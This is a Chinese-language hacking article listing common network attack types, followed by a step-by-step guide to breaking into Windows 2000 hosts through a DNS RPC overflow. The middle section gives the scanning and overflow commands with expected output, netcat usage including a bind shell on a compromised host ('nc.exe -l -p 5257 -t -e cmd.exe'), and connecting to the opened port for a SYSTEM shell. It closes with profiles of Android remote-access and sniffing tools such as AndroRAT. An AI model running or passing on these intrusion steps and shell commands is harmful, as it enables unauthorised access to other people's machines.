黑客dns渗透工具,常见的dns安全攻击

导航：

• 1、网络攻击者常用的攻击工具有哪些
• 2、如何利用dns漏洞入侵
• 3、HACK黑客常用哪些工具

网络攻击者常用的攻击工具有哪些

1、人性式攻击，比如钓鱼式攻击、社会工程学攻击，这些攻击方式，技术含量往往很低，针对就是人性。有点骗子攻击的味道。著名黑客菲特尼客，以这种攻击为特长。

2、中间人攻击，各式各样的网络攻击，合拢而来几乎都是中间人攻击，原因很简单，任何两方面的通讯，必然受到第三方攻击的威胁。比如sniffer嗅探攻击，这种攻击可以说是网络攻击中最常用的，以此衍生出来的，ARP欺骗、DNS欺骗，小到木马以DLL劫持等技术进行传播，几乎都在使用中间人攻击。

3、缺陷式攻击，世界上没有一件完美的东西，网络也是如此，譬如DDOS攻击，这本质上不是漏洞，而只是一个小小的缺陷，因为TCP协议必须经历三次握手。

4、漏洞式攻击，就是所谓的0day

Hacker攻击，这种攻击是最致命的，但凡黑客手中，必定有一些未公布的0day漏洞利用软件，可以瞬间完成攻击。

如何利用dns漏洞入侵

前提是必须要开放53、445端口 1、选择superscan进行扫描，在端口列表中勾选上53、445端口，然后选择主机段进行扫描。

2、选择存在53、445端口的主机，在cmd下输入dns -t ip对主机进行特定漏洞端口扫描，“1028 ：Vulnerability”表示

1028端口存在溢出漏洞，“os:window 2000”表示系统类型为window 2000。

3、在执行dns -t 2000all ip 1028 对目标主机进行溢出。connection to target host tcp port established 成功连接到主机的tcp端口上，

successfully bound to the vulnerale dcerpc interface 已经连接到对方的rpc端口上，os fingerprint result:windows 2000

系统指纹鉴定对方是wind2000系统，attack sent,check port 1100 攻击代码已经成功发送，并尝试连接1100端口。当出现最后这一句

提示语句的时候就意味着我们要成功了。

4、怎么连接对方的1100端口呢，当然我们要使用nc了。

5、nc全称叫"netcat"，这是一个非常简单易用的基于tcp/ip协议（c/s模型的）的“瑞士军刀”。下面介绍一下它的几个常用功能

1、nc.exe -vv -l -p 6069，表示在本地6069端口上进行监听。-vv：显示详细的信息。-l:进行监听，监听入站信息。-p：监听所使用的

端口号。

2、正如我们遇到的情况，对方已经开放了一个端口。他在等待我们连接哦，连接上去会有什么呢？当然是system权限的shell了。

nc.exe -vv 127.0.0.1 5257，连接ip为127.0.0.1的5257端口。

3、还可以在本地监听端口的同时绑定shell，就相当于一个telnet服务端。通常这个命令在肉鸡上执行，然后当我们连接上去就可以获得

这个shell了。nc.exe -l -p 5257 -t -e cmd.exe，在本机5257端口上监听并绑定cmd.exe。-e 作用就是程序定向。-t以telnet的形式

来应答。

4、它可以用来手动对主机提交数据包（通常为80）端口，nc.exe -vv 127.0.0.1 80 yan.txt，往ip为127.0.0.1的80端口提交yan.txt中

的内容。

6、介绍完nc.exe的四种常用方式，现在知道如何使用nc来链接对方的1100端口了吧，我们使用nc -vv 127.0.0.1 1100 连接对方的1100端口，

成功获得了一个具有system权限的cmdshell，现在想干什么就干什么了。

HACK黑客常用哪些工具

AndroRAT

AndroRAT一词源自Android与RAT（即远程管理工具）。这款顶级黑客工具已经拥有相当长的发展历史，而且最初其实是一款客户端/服务器应用。这款应用旨在帮助用户以远程方式控制Android系统，同时从其中提取信息。这款Android应用会在系统启动完成后以服务形式开始运行。因此，如果用户并不需要与该服务进行交互。此应用还允许大家通过呼叫或者短信等方式触发服务器连接。

这款极具实用性的Android黑客应用之功能包括收集联系人、通话记录、消息以及所在位置等信息。此应用还允许大家以远程方式对接收到的消息以及手机运行状态加以监控，进行手机呼叫与短信发送，通过摄像头拍摄照片以及在默认浏览器当中打开URL等等。

Hackode

Hackode是一款Android应用，其基本上属于一整套工具组合，主要面向高阶黑客、IT专家以及渗透测试人员。在这款应用当中，我们可以找到三款模块——Reconnaissance、Scanning以及Security Feed。

通过这款应用，大家可以实现谷歌攻击、SQL注入、MySQL Server、Whois、Scanning、DNS查找、IP、MX记录、DNS Dif、Security RSS Feed以及漏洞利用等功能。这是一款出色的Android黑客应用，非常适合入门者作为起步工具且无需提供任何个人隐私信息。

zANTI

zANTI是一款来自Zimperium的知名Android黑客套件。此软件套件当中包含多种工具，且广泛适用于各类渗透测试场景。这套移动渗透测试工具包允许安全研究人员轻松对网络环境加以扫描。此工具包还允许IT管理员模拟出一套先进黑客环境，并以此为基础检测多项恶意技术方案。

大家可以将zANTI视为一款能够将Backtrack强大力量引入自己Android设备的应用。只要登录至zANTI，它就会映射整套网络并嗅探其中的cookie以掌握此前曾经访问过的各个网站——这要归功于设备当中的ARP缓存。

应用当中的多种模块包括网络映射、端口发现、嗅探、数据包篡改、DoS以及MITM等等。